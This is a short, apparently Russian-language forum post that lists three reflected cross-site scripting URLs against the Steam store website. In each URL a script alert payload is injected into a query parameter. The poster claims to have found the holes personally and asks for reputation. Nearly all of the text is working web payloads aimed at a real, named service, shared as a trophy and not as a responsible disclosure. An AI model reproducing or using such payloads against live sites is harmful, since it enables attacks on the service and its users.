steampowered.com

http://store.steampowered.com/news/?appids=%22%3E%3Cscript%3Ealert(%27XXS%20by%20dizn t%27)%3C/script%3E

http://store.steampowered.com/search/?genre=RPG&category1=%22%3E%3Cscript%3Ealert(%27XX S%20by%20diznt%27)%3C/script%3E

http://store.steampowered.com/news/?term="><script>alert('XSS by diznt')<%2Fscript>

XSS найдены мною лично... (думаю +++ поставите)